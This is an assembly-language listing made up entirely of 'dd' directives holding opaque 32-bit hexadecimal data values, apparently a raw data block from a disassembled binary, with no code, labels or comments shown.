		dd 78CFF0Ah, 68175EA2h,	41CD658Eh, 7BCE4CFAh, 66EE9D8Bh
		dd 27AC9488h, 51C56881h, 0F1C8C451h, 5D0CE72Ah,	34FE104Bh
		dd 0FDE5528h, 4B1C6F09h, 0CAD3A684h, 0BD81400Ch, 137C2F74h
		dd 1E6FF60Bh, 272920DAh, 0C0227755h, 14DCA70Ch,	68E501F1h
		dd 0A02CD668h, 0C835E3E9h, 41807520h, 93866A56h, 0F3813BBFh
		dd 70DC2309h, 68054E7Eh, 49FD5ECEh, 65418C81h, 80EE4554h
		dd 0F702E824h, 9C1AD84Ch, 0BE299112h, 890C1F7Fh, 353079EAh
		dd 0C082037Bh, 5F7F682Ch, 0CD8CC41h, 0D7F0FE8h,	42EDA48h
		dd 0CD7190ABh, 239BE580h, 291F27D2h, 80B4D62h, 0C0BD9BC6h
		dd 0C5809CCDh, 94895956h, 1759EC9Fh, 32ACB4B3h,	117790Bh
		dd 63040C44h, 5E70B13Fh, 59E7D8BBh, 0CE324B38h,	487B57BCh
		dd 7A001FF3h, 0E9428374h, 5AC2E49Dh, 8BC7215Ah,	3FA7D8B2h
		dd 992E7D1h, 0A3E6A4A8h, 3AEC6614h, 44FD78DBh, 0ED918008h
		dd 444BB66Ch, 5E2928E8h, 0A199C2E5h, 134AC9EBh,	82864EF8h
		dd 0BA051A28h, 683D1DB8h, 7004ECC0h, 2A4B583Eh,	140C9516h
		dd 0D21D1FD0h, 0F5DABE25h, 5A0801B6h, 8546E5F7h, 0EE184D91h
		dd 0B66B4AE4h, 9AB982A6h, 4054A417h, 0C57F101h,	0E1D8582Fh
		dd 0EFDF9898h, 2B17E43Bh, 5F657A75h, 7BF006FEh,	59CE3F09h
		dd 215DE683h, 91FF19EFh, 303D265Fh, 80B5A592h, 4959BAA0h
		dd 0DA90A895h, 4446045Bh, 0D10881E9h, 0D4EDF67Ah, 50482AC2h
		dd 0A7805E8h, 0FAE05867h, 442EFDB5h, 81525A8Ch,	0D916C763h
		dd 39862064h, 50706F41h, 4A412E0Bh, 35AC08E3h, 7C1CEF80h
		dd 958906DEh, 8DC21074h, 7645F85h, 677CD300h, 3FEF0533h
		dd 1770A9Fh, 1F072DF8h,	96DF675Fh, 3FED88CBh, 15BD804Dh
		dd 578E2E17h, 0A408EE0Fh, 37D168EBh, 116C1A8Bh,	0A27506CBh
		dd 75731919h, 6ACA1199h, 29AE8717h, 0C0CFF87Ah,	378551C5h
		dd 5889E9E2h, 0E3BB6104h, 229308D9h, 10C51801h,	4492A5F6h
		dd 1614D3BDh, 1649A30Ch, 0BBE9AB78h, 0A27444D7h, 0C1CBF85Fh
		dd 295B38C2h, 8213C670h, 2EF33AE3h, 219EAF18h, 827E37EFh
		dd 0DCD54077h, 344082C2h, 1BD20E25h, 98332BC1h,	9153F84h
		dd 9980BFB5h, 2621EFE3h, 57D1054h, 0C3422304h, 22FDADE3h
		dd 98EA647Bh, 0AEBBE7Fh, 1E2E6855h, 47274068h, 0C5B53E60h
		dd 1372AA9h, 14F06BB6h
		dd 227AE95Dh, 0D1E51F68h, 6B2E2B8Fh, 2DD9F059h,	1A2CC88h
		dd 305CF410h, 75741782h, 65497D49h, 0B1304D6h, 2B443501h
		dd 0E93B3311h, 96669287h, 8DD3F4Ah, 1BE96106h, 0B1057440h
		dd 5332684Fh, 0EBF9B944h, 63848A1Eh, 5C76A566h,	0C226CF8Ch
		dd 0F2E29F58h, 6A21E88Eh, 3C4E1B6Dh, 9FDA48Ch, 9E7FF289h
		dd 0E95C1209h, 2D9C406Ch, 0DCCDB2DBh, 502599B4h, 45883DEBh
		dd 5ACCA0CEh, 0E9493F0Bh, 0BD452062h, 60B7736Dh, 75EA7045h
		dd 71981744h, 6B4F8F90h, 57DA1F30h, 0E90E13E1h,	5B88B6F5h
		dd 2ECC2DE4h, 17875E21h, 663FC046h, 55741FBAh, 3C37295Ch
		dd 215AA702h, 6D1CE90Ah, 8338242Ah, 7526ECA1h, 0A305A3E3h
		dd 0C3EB3137h, 0D4E9F83h, 0DF4089BCh, 3D491F29h, 61EDC117h
		dd 20DC4403h, 63192842h, 1C4252D9h, 3F4899F4h, 9BCFE8E9h
		dd 27332080h, 0B9C1D2E9h, 0A1CF7059h, 13F7641Fh, 28C4D712h
		dd 0F812CD5h, 0F36BD179h, 8BFC4E54h, 5896FEC8h,	98A659ECh
		dd 0BB2BCD09h, 2C07F36h, 4E1E97C9h, 0EC090DA8h,	0B31AD9E7h
		dd 120E947Ch, 0C91241BFh, 19E8902h, 0CC133B99h,	604AE9ECh
		dd 0FEAD52Ch, 0F64C127Dh, 548404D0h, 0F1EE3133h, 0E908017Fh
		dd 9D2853h, 0D8F6C0FEh,	9D09404h, 84034E0h, 0EF862107h
		dd 8008C7ECh, 0FC6DE639h, 52685709h, 25F66630h,	30564B55h
		dd 6E965572h, 57E93F9Ch, 0C4D7EE92h, 2AE91045h,	0AAC4AADh
		dd 8571D6DEh, 38CAFA6Bh, 3830BF96h, 5A6923C3h, 56B6F041h
		dd 4343E92Dh, 0B9D2CDC4h, 0ABD05796h, 0E1D6719Dh, 8E4075E9h
		dd 0E65CE671h, 97C2C2Dh, 0DBD68AF4h, 91D623FFh,	0E7BF84FEh
		dd 28421922h, 226DF1E7h, 958320h, 6DBF2D6Bh, 6A44C455h
		dd 0A0F70BBAh, 0E4129941h, 59467E0Ch, 5B2D5159h, 2BB241B0h
		dd 0A9963D85h, 102DE2B0h, 5C00B470h, 809FB151h,	30E7F4E1h
		dd 0C8742824h, 8FC5615Bh, 1BDF6A81h, 0B8F53A7Ch, 0CEE9A034h
		dd 0FF10D2F9h, 0A0576628h, 0C027EABBh, 3899EDA3h, 0BBF6A0EFh
		dd 0EE677461h, 0F06A1EE6h, 0CFD32D63h, 0D8EAABCh, 876F005h
		dd 0B90115C5h, 7EE64B83h, 7F9DC16Bh, 0C7618138h, 6D7020A1h
		dd 72FDE7D8h, 1C0C4C27h, 9923B90Bh, 0AEC96003h,	59CC9F05h
		dd 51B2E688h, 1047994h,	1A64CE9h, 26A21BAh, 5BF00760h
		dd 58F6A205h, 8D7130Ch,	888407E2h, 40C243A2h, 169C149h
		dd 841DE28h, 835E4945h,	9E82F3Bh, 1CBEF78Ah, 0AB90C599h
		dd 8012B305h, 36C0ABC3h, 0CB715B68h, 88C2BC85h,	0AFEEDC00h
		dd 0FE0B4529h, 594EA968h, 0E4798CD6h, 150EE2ADh, 0C77F5210h
		dd 96E04F2h, 5A248130h,	18F3E568h, 43B8AE5Bh, 0BE055FFAh
		dd 2E21285Eh, 0F66C40BBh, 5D0F7FA6h, 3CE95217h,	0BB3C35ECh
		dd 141C418Ah, 1248B29Fh, 0C28136DEh, 76F26850h,	0F45E3336h
		dd 5C9D5A52h, 41C2D930h, 5BE9DC6h, 3AEC3C06h, 0B0501C0Ch
		dd 58C10EE8h, 7C0FE109h, 541BA613h, 995E283h, 2EBD96BDh
		dd 0B4BE831h, 9C7D998Fh, 0D98906E5h, 0EB102E9h,	0DD5206B6h
		dd 4B7946Ch, 1A60CD1h, 10B4BA05h, 669FD0D2h, 630C3F04h
		dd 7EEA015Dh, 0E820559Dh, 0C550042Fh, 43214E2h,	566F63B2h
		dd 0BB924C3h, 24506819h, 9701167Fh, 0FD050140h,	21E4EDBEh
		dd 0B86295AFh, 78BA92A9h, 7B25E929h, 40FDF4F7h,	70AD2F0Fh
		dd 97EBACB0h, 81094628h, 34430107h, 0A63AB61Ch,	0CBE90B83h
		dd 7999D47Ch, 0A533295Dh, 89EDA119h, 0C140F47Eh, 1BFD061Fh
		dd 3455108Dh, 1F80F43Fh, 0AA96F4B0h, 0C5397340h, 9CA9018h
		dd 61A81E0Ch, 4E8C8200h, 0F9B06594h, 0B7E82620h, 814365C0h
		dd 7B5F30Eh, 0BF0C5393h, 0BF21A541h, 88A38D82h,	0DC308F6Ch
		dd 0EEBA7430h, 22274C41h, 25066B10h, 631EE257h,	0EEC3A83Ah
		dd 1BAB8F8h, 736BA52h, 6E3118EFh, 0D296F3A2h, 65FF562Fh
		dd 3E086BC3h, 0E9CB8427h, 0F48EC85h, 4CF2958h, 48D3CA4h
		dd 1F50F68Bh, 97C648B8h, 44EA5C81h, 90704FCEh, 0B92CB99h
		dd 62F6AE7Eh, 0E3F12097h, 4CD96417h, 8405670Dh,	0AA563F6Ch
		dd 14264C2Ch, 8419556Bh, 3B437C06h, 420934A9h, 0E0635948h
		dd 9F6C6F5Fh, 0F1F07CC4h, 68100A61h, 0E67E3F9Dh, 89872553h
		dd 0F1657F20h, 3241DDA0h, 0C442FC2Eh, 15317581h, 85AE04E1h
		dd 8BC6B82Dh, 0B3B6FD1Ch, 7782FDF8h, 0F025ABE6h, 62375CE0h
		dd 0EED74770h, 3F46913Fh, 0F371B093h, 0E1B516EAh, 0BFD323ADh
		dd 7F318022h, 0D3ADA56Fh, 2BE9043Bh, 0C6DEDFAh,	5099064Ah
		dd 77F665D8h, 594AFF0Ch, 0DB09A655h, 3D5169C8h,	0F49D10C1h
		dd 6A4A82C1h, 0DD782915h, 7BC10882h, 0F2E22ED3h, 62A0C7CBh
		dd 0AFB35350h, 88395275h, 58E216DCh, 0C91E1FABh, 0C2DFCCFEh
		dd 0DD4782ABh, 241AD5FCh, 3B3CDDC1h, 247901F3h,	8206DDF9h
		dd 59EA1F26h, 34C21FDCh, 0FD9789F5h, 1C902DE0h,	0E5091092h
		dd 0C62FBD68h, 51150955h, 68803781h, 45197F21h,	0F795E0BDh
		dd 0CD090D9h, 65FE61C7h, 620163E2h, 0E9573E60h,	75C28F28h
		dd 0EF0B08F3h, 0CA3169F9h, 0BA91167Ah, 0F31C5E3Dh, 2E1B6055h
		dd 684ECE87h, 789EF978h, 0CC2A5160h, 0D4BAA2EDh, 0A2E59859h
		dd 78E65D38h, 29493BFAh, 0E955A037h, 0A33AF953h, 131349BEh
		dd 2A29E4C6h, 165BE37Ah, 6D201A5Bh, 127E510Fh, 0A2EE8909h
		dd 11804AB5h, 956E6268h, 3A0BE818h, 3DF74CBDh, 2D0076CFh
		dd 0D7642CBBh, 0E4BD3146h, 0E6BD205Bh, 40CD71B5h, 0E9545358h
		dd 382D2525h, 58525083h, 0F7050168h, 0BA4A5A3Eh, 662ED8C0h
		dd 0CB0C48D7h, 91CCB2Dh, 6A5F22B5h, 4AB6FF6Eh, 0A4B3490h
		dd 5CB2B5A9h, 0C85AF27Ch, 9E84E9E6h, 70B526E5h,	0C5DCC68h
		dd 403F8077h, 28836FD3h, 9F201C0h, 640936FEh, 460465D0h
		dd 0DAF73CCFh, 0AA0467E8h, 404BB051h, 0B568C6EBh, 0E82F31Dh
		dd 0E2647ED0h, 2DB80077h, 78C52AACh, 0A105FA0Dh, 103E5A07h
		dd 0C92709Eh, 4FA59F49h, 0A4DD7059h, 591560EBh,	135DC068h
		dd 76958BEFh, 76EB820Dh, 87D62951h, 2BD18202h, 0B33602Ch
		dd 0E320857h, 820D901h,	0F5E5B76h, 7EFE316h, 3113C91Fh
		dd 0F9C015C1h, 9E763007h, 3D03F52h, 1A216D31h, 67E0015Ah
		dd 0F029041Ch, 8407442Dh, 80FBA8CDh, 4B276914h,	0AB30A2Dh
		dd 0F8E251Eh, 0AED31DE9h, 25ADB26h, 5654F53h, 94755B56h
		dd 9F9B71Ah, 7C327842h,	0C03596DAh, 2843B41Ch, 6059CC25h
		dd 80DE7997h, 0E7588853h, 0EA2D7A42h, 6686F6A2h, 7BEE74BBh
		dd 4E1BAD3h, 0AC4E373Ch, 4DF6C005h, 2C87ADE8h, 968C38E9h
		dd 0ABE18543h, 9A26D098h, 3D68174Eh, 1A8B35Bh, 7FA76F61h
		dd 126A09E9h, 0AC04BA97h, 0FB54033Ch, 0E9B0EE4Ch, 16921C9Fh
		dd 42D8069h, 0EA12B849h, 0F8AE7A91h, 5E91BF00h,	0AD6AD662h
		dd 6D05001Ah, 1F75B02Dh, 913F5BFCh, 0C67A9065h,	16D40A50h
		dd 0BE86196Ah, 45724A44h, 8051B500h, 284E31EDh,	0F0CBD0E0h
		dd 972076C3h, 0B5A06C7Bh, 449E88E1h, 215887CAh,	0D7B89FD8h
		dd 7F3C95BDh, 0EA29160Ah, 85E620CDh, 88EA74EBh,	0F672084h
		dd 1BF292F9h, 5A705C32h, 2DB13480h, 89066799h, 0C022E9D1h
		dd 49B0B67Fh, 0D53E1C86h, 0BEF8107h, 7F99A607h,	80DE662h
		dd 0D22B4163h, 84BB045Ah, 4024FAFBh, 0FC2358C0h, 9C81EC6h
		dd 0B016CD6h, 1A57360Dh, 0BF8FF591h, 7542FE86h,	39A0C201h
		dd 0E2D16D29h, 31471083h, 46D6D35Bh, 83380EB0h,	823E3F1Eh
		dd 0ABDA6EEh, 0DBAD4F0h
		dd 83D5CD10h, 2448E0AEh, 57CA0147h, 12EA426h, 81604F7h
		dd 15E210FBh, 780AE90Ch, 7E0F78Bh, 415404Ch, 503308C5h
		dd 507E90E8h, 905F08EDh, 8A3F5F38h, 3F014F9Bh, 8CD15DBh
		dd 75C1DA61h, 4C2F6800h, 0F9C433BDh, 26241983h,	0F1B7582Bh
		dd 812EF3Eh, 0E058AF9h,	0E958E980h, 2329C199h, 9B334C65h
		dd 0E93B5B7Ah, 20019293h, 6F10780Eh, 7D370C82h,	2F62038Bh
		dd 3408A508h, 0E514130Ch, 0DEF320ECh, 0EA3F3226h, 0DDAF30Dh
		dd 0B23DBC3Fh, 0ECC5559h, 51923EC1h, 0C13023AAh, 734E1838h
		dd 67544A70h, 0D4456427h, 50633B3h, 66761800h, 5750181Ah
		dd 3EA0168h, 0E95F06E0h, 0D8147F62h, 3A5E1228h,	0CEA7ABE8h
		dd 30D24FA9h, 7C414020h, 0E062DFC1h, 1C2EF176h,	432C7BFDh
		dd 0DDFA3C12h, 2E91673Eh, 0D5A5FD79h, 0A05593B2h, 336856F5h
		dd 0F3E0435h, 0FAF4C0E9h, 0F1807235h, 1657FB8h,	6AE78102h
		dd 0D856D41Dh, 6117D2CFh, 5CBC5FD7h, 0FAA1BB8Eh, 7FF9010Bh
		dd 653F6629h, 2704EFC9h, 212FBCEh, 13BDA5C3h, 0BAEB7440h
		dd 6A1C3D12h, 8A750EEh,	786B455Eh, 206B21Fh, 9040A5EEh
		dd 3900D78Ah, 506C03B8h, 0E8294813h, 0C75047CAh, 870A136Dh
		dd 0E9BE812Eh, 58092AE1h, 8282F75Ch, 0AF68C53Dh, 0C9311689h
		dd 9A5B03Bh, 45D027BDh,	0E8B180E4h, 317ACB0h, 5BAE1D0h
		dd 0AB3BB92Bh, 6B54B38Ch, 0FE4D10EDh, 4ECD2931h, 999DA62Eh
		dd 9915020Ch, 719F42CEh, 7BE85005h, 6ACA5831h, 3B33AF4h
		dd 95DA899Fh, 6502BD48h, 0DBC361C0h, 0A92F0367h, 844EBC0h
		dd 1DAAC021h, 0F31285C3h, 0F8DF8FADh, 0CA7F9251h, 54FC4F5Dh
		dd 0E540A4F6h, 305A0966h, 82DF59E8h, 41FE3C16h,	2DDFE27Eh
		dd 8976DA5Fh, 27BAED81h, 0F5D81D3Eh, 183500E3h,	0E9EF21ECh
		dd 10929DA6h, 0BD55DA04h, 22877E1Fh, 0B2ED586h,	23F0943Ch
		dd 658B8C5Eh, 751DABE0h, 69A62726h, 0E8259590h,	7194552Fh
		dd 8186E916h, 40DDB1F4h, 0BD256894h, 66D5662Ah,	11314D80h
		dd 7CCC5E5Dh, 587DEA25h, 0C4465B70h, 2EB701F4h,	6C21AC37h
		dd 12BFA4BEh, 25B9BD9Bh, 0C8BE5753h, 315964B7h,	72A1BD64h
		dd 4F520D6Eh, 5FE3B855h, 0AF0AD3F5h, 2A85612h, 6F9C01D2h
		dd 2067E819h, 7E050746h, 0D9F7488Bh, 0E939C0FBh, 37247CEDh
		dd 94020225h, 8A75533Ah, 1C1EBDC6h, 4E5CE31Fh, 0D036E94Bh
		dd 0F658126Ah, 4A101D1h, 8938D068h, 0E57D5B89h,	0FEAA0823h
		dd 1927D527h, 3F876923h, 505BD128h, 0C9AD6088h,	3645D55Fh
		dd 8EBC9F97h, 57A61FC4h, 3EBBA0A0h, 43804B58h, 358BE381h
		dd 509F657Bh, 0B1C8CA94h, 0F4FC2FA1h, 7667902h,	9FF5C025h
		dd 5C73301Dh, 906BF318h, 0E5F8565Fh, 8F880C12h,	0B18F4CFFh
		dd 983AD768h, 0E4178B5h, 23DF042Fh, 7E5E85Ah, 0D0B473Bh
		dd 54EEC6E7h, 0C1435008h, 0DE79D450h, 975A3CE3h, 8AEEC2C5h
		dd 0BEE84BD1h, 836BE24Bh, 0FC297BE9h, 0F1E49DABh, 4A913C6Bh
		dd 916AB2E1h, 2E6F2D60h, 3DE0D1C5h, 0EDDA40Fh, 6E2EBDF1h
		dd 0E6F52909h, 26209262h, 0A5797C68h, 0E970AFD4h, 0E42BA57h
		dd 0F90692BAh, 87F28140h, 29E2C504h, 641DD75Ch,	0CFAA5FC1h
		dd 0BBE90FE5h, 5AD6DFD7h, 745D6CF8h, 5084B0D6h,	40F0E0BFh
		dd 0EC3B4F59h, 0C4E98534h, 1323D15Ah, 0D345E198h, 64A8D3C2h
		dd 60561EAEh, 404E1BC8h, 6E2F68EBh, 4C05710Dh, 3924B926h
		dd 81189406h, 51BD4E80h, 4A5B178h, 3E429742h, 10FAA8F2h
		dd 5DAF0913h, 0C72C92FDh, 0BA80096Ah, 44543D89h, 9AAA6612h
		dd 700238CEh, 68660B86h, 6E6B7611h, 0BC6903B9h,	4E2159DBh
		dd 0E9A8FBACh, 702BE038h, 20C5E695h, 0C0050A79h, 0D4F602E4h
		dd 7D270A1h, 13C13258h,	0BD3E1CF6h, 0AEC289CAh,	61340E28h
		dd 7EB050E1h, 0D070E9ECh, 0C10CD006h, 0D90AB353h, 0D3FC5B76h
		dd 0C389CF4Ah, 0DD5B1978h, 40F06917h, 582DE989h, 501FD4DFh
		dd 4A82D69Bh, 1CA4A89Dh, 0C2FCFA65h, 73AEB902h,	0E4412C06h
		dd 7E4D25A4h, 0D09EAFF6h, 19B44A5Dh, 0A3FC4A25h, 0E2BE2769h
		dd 4FCDFE17h, 0FB5EE844h, 0EC5E118Eh, 4E694DC3h, 6AB479EAh
		dd 0C4689442h, 80A9797Ah, 459C6D33h, 9A053DBFh,	0C7297FE2h
		dd 17D2CEFBh, 5A7D485Ch, 0DCEB1611h, 35DBF701h,	0DFC2EB0h
		dd 92F4E424h, 0B05BEC5Dh, 5C605FE3h, 1820A562h,	8BAB402h
		dd 0F75866E1h, 844A9C49h, 0CE286A06h, 0A5B7ECC3h, 5F630E82h
		dd 20F75241h, 0B0AADFA5h, 0C32D458h, 0A2629D2Ah, 57C688AAh
		dd 6AC243B1h, 3EEF116h,	0E32886AFh, 0F94A07DBh,	0A73A9B6h
		dd 77CA68FBh, 5B5D8560h, 0FD92BF5Fh, 6AA4C007h,	2846093Ch
		dd 0B886CD31h, 0DE77316Dh, 0D225FD27h, 0F212071h, 44CB48DDh
		dd 5285F467h, 0FB53CD84h, 15030B02h, 78C5F501h,	0D6A25497h
		dd 3D12EED6h, 0BB02B1E8h, 140978B0h, 0ABA1C260h, 0D63ABF25h
		dd 0F8890959h, 52A3666h, 77242101h, 0D58FF0B6h,	13FD3F35h
		dd 44D31D94h, 5B08D94Ch, 2DECE22Ah, 893EF68Dh, 0A1B856CBh
		dd 9F2EE951h, 81AFC3E2h, 2EF56F02h, 58AC012Bh, 8A4C43E9h
		dd 734FFF41h, 4A3E06BCh, 9FE864E2h, 4CADF480h, 2927130Dh
		dd 212FF74h, 0FAD60C09h, 6BED324Fh, 5D250221h, 0B2828D89h
		dd 0C10146EDh, 0E33A06E3h, 48A350FAh, 6651677Dh, 5DE02EF6h
		dd 7CAA83EBh, 0C1AEE87Fh, 0DE681651h, 1727B35Ch, 0B48C4D77h
		dd 117B1428h, 0FF349E29h, 0B562C403h, 6974ECF6h, 96130F3Dh
		dd 0A6A40C8Eh, 28DEC6Dh, 2BDBBD36h, 30402717h, 0F51F8159h
		dd 7B1D7EFEh, 5F44ED8Fh, 0EB896A82h, 9D75D85Dh,	0C2E9A32Eh
		dd 0BE001F16h, 7F863FC6h, 81CDA1E9h, 8A816F66h,	0A33B9F41h
		dd 10AD4E92h, 0EC1EA185h, 40049A0Dh, 7CD35Bh, 0DB05BAC2h
		dd 2923694Bh, 72DF828h,	75EEFC80h, 58D55317h, 120B7814h
		dd 0CF4920Ch, 4F805ACDh, 8A2F515h, 0B68B5D0Dh, 0E04C5542h
		dd 259BC4B5h, 0B9987B4Bh, 5B81A1AEh, 5645607Bh,	7F77E3BEh
		dd 0F6817A01h, 15C66662h, 0B7E7E8F2h, 0E962C255h, 1B4A0B3Ah
		dd 5F732B57h, 0F7CF1145h, 44C1FEEDh, 222CF046h,	586882B7h
		dd 555CA761h, 49425F91h, 7045CCEh, 9AFF078Ah, 3CCD00F5h
		dd 0AE9A326h, 5C1C1A5Bh, 0D08C7557h, 0F6984476h, 5D7D3F13h
		dd 505FAF06h, 7C91A817h, 3C912760h, 90681EA1h, 0A5397E7Eh
		dd 108AB23Fh, 662FD305h, 0D1EB9CE9h, 30D630C5h,	63238CDh
		dd 64AB0DA8h, 0AAAD30D2h, 5C34FCF0h, 0D03076AAh, 0F23A2D04h
		dd 0D454DF25h, 0CAC98342h, 0BACD0446h, 6369BB41h, 1C82493Bh
		dd 17EF07CFh, 51183EC0h, 52CD60Eh, 6F6B601Dh, 0F221F2Dh
		dd 0C829038Fh, 0C5470794h, 17C41744h, 0FC228668h, 5F074009h
		dd 167065BFh, 55C3D12Dh, 58CE6DBDh, 1DE72029h, 96C0D1B7h
		dd 944B0904h, 9FB2E0B0h, 0F2E2D03Eh, 0CA07E673h, 25B5514Ch
		dd 0E117CD93h, 0C5FCBDF5h, 0F2EDFE01h, 59EA3F20h, 2E51F2F3h
		dd 1F7E73B1h, 0D0C3CF31h, 20EBF38Fh, 8B898489h,	91CA1C87h
		dd 365AD728h, 0F7B01C5Dh, 31CEC714h, 0B5F12EF9h, 0E5CB2860h
		dd 2DE90D30h, 0D2541A2Fh, 888A5549h, 304D4D98h,	4C97AE5Bh
		dd 91972088h, 2F42BD00h, 0CD810BD0h, 11470EBCh,	0DFD48750h
		dd 824D0864h, 4A0C152Dh, 17BE80D6h, 5901600Bh, 0FE0903B9h
		dd 3084FDA6h, 0EB813F90h, 0B0087833h, 6DD6B91h,	0A1B2F00Ch
		dd 3F5E7D40h, 0F0A6C629h, 48D80F40h, 6B2631C6h,	0CDD1B028h
		dd 31E7B92Eh, 2443FCA5h
		dd 0B8E9252Fh, 1BE13AE2h, 7F314F64h, 0E31A2EF8h, 26A0A4CAh
		dd 21E61281h, 0C20ED3B5h, 9833F977h, 0D801697Ch, 1FC4EC8h
		dd 0E168F031h, 8218571Ah, 88C63B72h, 54DEB09Dh,	4CB30160h
		dd 0F6E95F52h, 82AA8D2h, 0EE88EF12h, 0E2E630D1h, 0DDEBD00h
		dd 0C8B07AF8h, 9B296F40h, 87B02C3Ch, 63362FC6h,	81894B43h
		dd 6845E4E3h, 7A04225Bh, 0C7AFA66Eh, 65F430CCh,	4F5AE91Ah
		dd 445E0AB3h, 0DB4458h,	5CC8E681h, 0C1F60D4h, 76F04DFAh
		dd 840BC6F8h, 0C0EB6FB3h, 55BAE9C2h, 0E1E0252Ah, 0B690B716h
		dd 930C6852h, 847A2A1Ah, 205F09C2h, 0BFFB456h, 0FFC041Dh
		dd 0EB0202FDh, 62DC020Ah, 21908455h, 5D226AEDh,	0E9C20905h
		dd 3A531A95h, 74B74901h, 0F17F7B38h, 884CA20h, 0F631FE58h
		dd 0DF55B9E9h, 9798EFAh, 72CFE95Ch, 33F507F3h, 0B401F807h
		dd 7531A8D0h, 5C957576h, 930543C1h, 0EB283012h,	389DF09h
		dd 4E9E4541h, 0F429AEA2h, 0D436C9C1h, 7259DE04h, 2545FE1Eh
		dd 0A16BA52h, 130838A0h, 0B909F0E9h, 0BD832E4Bh, 0B1AFD03Fh
		dd 25113710h, 5B2E200h,	36E97BE6h, 0F2AFC29Dh, 68D0522h
		dd 8F5F47FCh, 6DD4A68h,	5A8ADC6Fh, 641EF497h, 5EF49128h
		dd 612204Eh, 29B6591Fh,	0E199774Ch, 39A609EDh, 8B577973h
		dd 18A07D8Dh, 435722F5h, 4284264Fh, 58EEC0FAh, 755E1768h
		dd 0FFB220CCh, 4D6C8104h, 9EF02488h, 9BF3B04Bh,	0A7C3304h
		dd 0BD03AE44h, 0BC951AD2h, 37A101AFh, 0DE68391Eh, 0C65208FFh
		dd 7605E800h, 52CAE964h, 0FD1A3804h, 0ABCC5AEEh, 88B5B1F6h
		dd 0DBA7FA65h, 976C6BCBh, 1191FE5Bh, 54019AC0h,	9FEC3A5Bh
		dd 5158B6A1h, 3B9370ACh, 0EC13A428h, 6AD0BF2Ch,	491AA302h
		dd 0E826E978h, 0EE5859A9h, 85C3F30Eh, 0E9E162BDh, 5E42CFEh
		dd 5202CCBEh, 0A5CEFC00h, 0A821A73Eh, 6062E7E7h, 3AEE0C8Bh
		dd 2740293Fh, 59E317A6h, 3A8EB1DDh, 0E22FE0F1h,	6850829Ah
		dd 4D2AE11Ah, 7D10D029h, 16433BC4h, 0A789F9FBh,	973CB6F8h
		dd 5C4A5A9Ch, 416B45AEh, 5928EED8h, 0A8D60FCh, 0EC0789B9h
		dd 21F65171h, 7C9521B2h, 0CE9A0866h, 707BF09h, 0EAA23A67h
		dd 58B803DAh, 81E375B0h, 61228F4h, 0A5875DEDh, 5812082Ah
		dd 9D5094E0h, 2BAC0E2h,	0B330AB04h, 4DE00103h, 0E1D115E8h
		dd 442C9B2Ch, 0DEFEA724h, 66E91076h, 989B5084h,	433EADE4h
		dd 87A26A01h, 5FDA310Bh, 7620A816h, 0BF56B5E5h,	78E257C7h
		dd 950E6C15h, 2B5F50E9h, 31A03497h, 4CFCC4F1h, 640A3355h
		dd 8DE0261h, 0B00B9BD2h, 0FE408322h, 3D98D9C8h,	0DCBF326Ah
		dd 0B03C9855h, 21D89FCDh, 4723BB2Dh, 98D62836h,	39180BEEh
		dd 0E8F8F701h, 150C5202h, 4374E235h, 77C7EA81h,	5EC5DBF9h
		dd 0EEF533ADh, 0B35E468Ah, 837D2F7Bh, 83AA2CF4h, 8F49DFF0h
		dd 6869EBC7h, 5AFFE935h, 2CA88E6Ah, 7121F56h, 6760A7CDh
		dd 6DC3956Ah, 0E686D498h, 192768F2h, 7DBE7D01h,	17E88F4Ah
		dd 7D0983F2h, 0E9069CC5h, 3E53C02Eh, 0E793A1C6h, 5A50AF60h
		dd 0E4592708h, 0E18925A5h, 0F3BE7D61h, 3A6B04FAh, 10C313F0h
		dd 0F9FC895Fh, 4775DE1Eh, 7B5AE91Ch, 0B050E3A0h, 0D81EF6A6h
		dd 5201C0FEh, 0F020ADB6h, 7CE95AF8h, 8D18BDEEh,	4E81D709h
		dd 490C5E2Ch, 9EAA22D5h, 0DE695317h, 0D0512C4Bh, 36C20B7Ch
		dd 3E0046FCh, 30AC0BD7h, 0F703129Dh, 0CCE95440h, 4237049Dh
		dd 4408AC2h, 20A7FC54h,	355B5F75h, 7972F386h, 2BAAD665h
		dd 72ABD354h, 20346BEFh, 0B2203AC1h, 0CBD62902h, 60F1FC13h
		dd 93D2A76Ah, 7FB466FBh, 5E126850h, 54EE2969h, 0A5CAC926h
		dd 5B605312h, 407F65C2h, 278703BDh, 1136FC6Bh, 4B141CD0h
		dd 0E24DCD8Bh, 0A811C6C5h, 0D45F769Ah, 8888DE09h, 371EECEAh
		dd 81B6C3DFh, 1371E44Ch, 105D4A09h, 724C0747h, 0E352298Fh
		dd 1E050343h, 1564B77h,	0E7786ACAh, 0E6E94A69h,	0C6FF66E2h
		dd 0C2C60133h, 89DFBF4Eh, 0EFED42F7h, 50FB602h,	0ABA0AA43h
		dd 8F7C1D90h, 0ADF38179h, 2A1D7166h, 0E4EC66C5h, 6E0BE15Eh
		dd 0B199ACE7h, 63172E2Eh, 0EA3035BFh, 9B528E9Fh, 0F6C8D41h
		dd 82DBBD5Eh, 12EFC68h,	3AD61CE9h, 0B4971FA2h, 1ACBDB11h
		dd 7BB27789h, 6A844160h, 0D8F4EF51h, 322D7707h,	6BB37596h
		dd 0E680D8C2h, 67A0821h, 0F6C727BFh, 68FA4011h,	0F492E360h
		dd 1B4E5CCAh, 65719602h, 115D503Dh, 94E5E903h, 0CE17CD2Bh
		dd 790C61E0h, 8156FA28h, 0F06D8901h, 0DB93E92Dh, 0F095A76h
		dd 1DAF74Fh, 69DC79B7h,	36784EDCh, 99199553h, 0CED33E1Dh
		dd 0DD59FAC6h, 53C7DF20h, 134B31E5h, 4AB2A8B4h,	0CB02A4FCh
		dd 5448D154h, 0DA5541A1h, 940914F8h, 0D4162305h, 3ECA837Dh
		dd 104C0A12h, 0B59C1284h, 6809ADA3h, 17F50B90h,	0EFFCAF7Fh
		dd 0CB887D87h, 59C8D842h, 11D8B685h, 3CECEC5Fh,	0C1FD8885h
		dd 6EC58A51h, 87131ACEh, 0C279ECFAh, 717A1068h,	0CFBA3133h
		dd 0D0D86BADh, 0F84E4181h, 0EA9DB7DBh, 37BF698Ah, 0F32063E9h
		dd 625C41A7h, 5955046Fh, 26877B60h, 11F10F91h, 13312320h
		dd 490B7966h, 51B25850h, 8DE85175h, 6053DE06h, 0EB7A8147h
		dd 63383D12h, 6A4847EBh, 72E4FB0Bh, 1010B235h, 1D1580FEh
		dd 8080DC08h, 289D0EF4h, 0EBC158E5h, 7851E989h,	0AC86506Fh
		dd 2D273D13h, 42EE7200h, 9A29350Ch, 0B1088280h,	0B23B0192h
